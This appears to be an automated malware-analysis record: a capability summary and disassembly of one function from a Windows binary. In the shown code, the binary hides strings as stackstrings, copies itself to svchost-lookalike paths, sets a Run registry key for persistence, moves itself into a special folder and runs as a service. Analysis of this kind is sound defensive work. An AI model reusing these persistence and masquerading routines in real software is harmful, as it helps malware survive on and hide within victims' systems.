Function at 0x10004e1c
Capabilities:
Contain obfuscated stackstrings
Copy file
Get common file path
Move file
Persist via run registry key
Set registry value
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x36c
and byte [ebp - 0x19], 0
push ebx
push esi
push edi
mov byte [ebp - 0x20], 0x41
mov byte [ebp - 0x1f], 0x56
mov byte [ebp - 0x1e], 0x50
mov byte [ebp - 0x1d], 0x2e
mov byte [ebp - 0x1c], 0x45
mov byte [ebp - 0x1b], 0x58
mov byte [ebp - 0x1a], 0x45
call fcn.10004b70
lea eax, [ebp - 0x20]
push eax
call fcn.10004ba7
pop ecx
mov ecx, 0x1000ac60
call fcn.10005ce9
mov edi, 0x34d
push edi
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov esi, eax
lea eax, [ebp + 8]
push edi
push eax
push esi
call sub.MSVCRT.dll_memcpy
lea eax, [esi + 4]
push eax
call fcn.10004ac8
mov edi, dword [sym.imp.KERNEL32.dll_lstrcpyA]
add esp, 0x14
push eax
push 0x1000aea8
call edi
lea eax, [esi + 0x6c]
push eax
call fcn.10004ac8
pop ecx
push eax
push 0x1000a7e4
call edi
lea eax, [esi + 0x9e]
push eax
call fcn.10004ac8
pop ecx
push eax
push 0x1000af0c
call edi
lea eax, [esi + 0xd0]
push eax
call fcn.10004ac8
pop ecx
push eax
push 0x1000ad88
call edi
mov edi, dword [sym.imp.USER32.dll_wsprintfA]
lea eax, [esi + 0x166]
push eax
push 0x1000ac18
call edi
lea eax, [esi + 0x186]
push eax
call fcn.10004ac8
push eax
push 0x1000ac3c
call edi
lea eax, [esi + 0x220]
mov ebx, 0x1000af40
push eax
push ebx
call edi
mov eax, dword [esi + 0x1a8]
mov dword [0x1000a7dc], eax
movzx eax, byte [esi + 0x1a6]
mov dword [0x1000aea4], eax
mov eax, dword [esi + 0x1ac]
mov dword [0x1000ac38], eax
mov eax, dword [esi + 0x1b0]
mov dword [0x1000b06c], eax
mov eax, dword [esi + 0x1b4]
mov dword [0x1000a7e0], eax
mov eax, dword [esi + 0x68]
mov dword [0x1000a7d8], eax
call fcn.10004797
push eax
lea eax, [ebp - 0x64]
push 0x10009f24
push eax
call edi
mov eax, ebx
add esp, 0x28
test eax, eax
je 0x10004f78
xor edi, edi
push 1
push edi
push edi
push ebx
push 0x100044f1
push edi
push edi
call fcn.1000618c
add esp, 0x1c
jmp 0x10004f7a
xor edi, edi
mov eax, dword [0x1000a7e0]
cmp eax, edi
jne 0x100051b3
cmp dword [0x1000b06c], 1
jne 0x100050af
and byte [ebp - 0x36c], 0
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x36b]
push 5
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
pop ecx
mov esi, str.C:WindowsServer.exe
lea edi, [ebp - 0x18]
lea eax, [ebp - 0x36c]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov esi, 0x104
push esi
xor ebx, ebx
push eax
push ebx
call edi
lea eax, [ebp - 0x18]
push ebx
push eax
lea eax, [ebp - 0x36c]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
lea eax, [ebp - 0x24]
push eax
push 0xf003f
push ebx
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x10005022
lea eax, [ebp - 0x18]
push 0x16
push eax
push 1
push ebx
push 0x1000a568
push dword [ebp - 0x24]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 0x24]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [0x1000a7dc], 1
jne 0x1000509b
push esi
lea eax, [ebp - 0x268]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x268]
push esi
push eax
push ebx
call edi
push ebx
lea eax, [ebp - 0x164]
push 0x2b
push eax
push ebx
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [ebp - 0x164]
push 0x10009ed8
push eax
call esi
lea eax, [ebp - 0x64]
push eax
lea eax, [ebp - 0x164]
push eax
call esi
lea eax, [ebp - 0x164]
push str..exe
push eax
call esi
lea eax, [ebp - 0x164]
push eax
lea eax, [ebp - 0x268]
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileA]
call fcn.10003de1
call fcn.10003de1
push 0x3c
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x100050a0
cmp dword [esi + 0x1ac], 1
jne 0x1000524c
call fcn.10005577
test eax, eax
je 0x100050fe
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x32
mov dword [ebp - 0x10], 0x1000a7e4
mov dword [ebp - 0xc], 0x10003f29
mov dword [ebp - 8], edi
mov dword [ebp - 4], edi
call esi
mov ebx, dword [sym.imp.ADVAPI32.dll_StartServiceCtrlDispatcherA]
lea eax, [ebp - 0x10]
push eax
call ebx
push 0xa
call esi
lea eax, [ebp - 0x10]
push eax
call ebx
jmp 0x100051a7
and byte [ebp - 1], 0
lea eax, [ebp - 0x268]
push 0xe1
push eax
push edi
mov byte [ebp - 0x18], 0x43
mov byte [ebp - 0x17], 0x3a
mov byte [ebp - 0x16], 0x5c
mov byte [ebp - 0x15], 0x57
mov byte [ebp - 0x14], 0x69
mov byte [ebp - 0x13], 0x6e
mov byte [ebp - 0x12], 0x64
mov byte [ebp - 0x11], 0x6f
mov byte [ebp - 0x10], 0x77
mov byte [ebp - 0xf], 0x73
mov byte [ebp - 0xe], 0x5c
mov byte [ebp - 0xd], 0x73
mov byte [ebp - 0xc], 0x76
mov byte [ebp - 0xb], 0x63
mov byte [ebp - 0xa], 0x68
mov byte [ebp - 9], 0x6f
mov byte [ebp - 8], 0x73
mov byte [ebp - 7], 0x76
mov byte [ebp - 6], 0x74
mov byte [ebp - 5], 0x2e
mov byte [ebp - 4], 0x65
mov byte [ebp - 3], 0x78
mov byte [ebp - 2], 0x65
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x18]
push edi
push eax
lea eax, [ebp - 0x268]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push 0x1000ad88
push 0x1000af0c
push 0x1000a7e4
call fcn.10005253
add esp, 0xc
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.10003de1
call fcn.10003de1
push edi
call dword [sym.imp.KERNEL32.dll_ExitProcess]
cmp eax, 1
jne 0x1000524c
cmp dword [0x1000a7dc], eax
jne 0x1000523d
mov esi, 0x104
lea eax, [ebp - 0x268]
push esi
push edi
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x268]
push esi
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push edi
lea eax, [ebp - 0x164]
push 0x2b
push eax
push edi
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [ebp - 0x164]
push 0x10009ed8
push eax
call esi
lea eax, [ebp - 0x64]
push eax
lea eax, [ebp - 0x164]
push eax
call esi
lea eax, [ebp - 0x164]
push str..exe
push eax
call esi
lea eax, [ebp - 0x164]
push eax
lea eax, [ebp - 0x268]
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileA]
call fcn.10003de1
push 0x3c
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x1000523d
pop edi
pop esi
xor eax, eax
pop ebx
leave
ret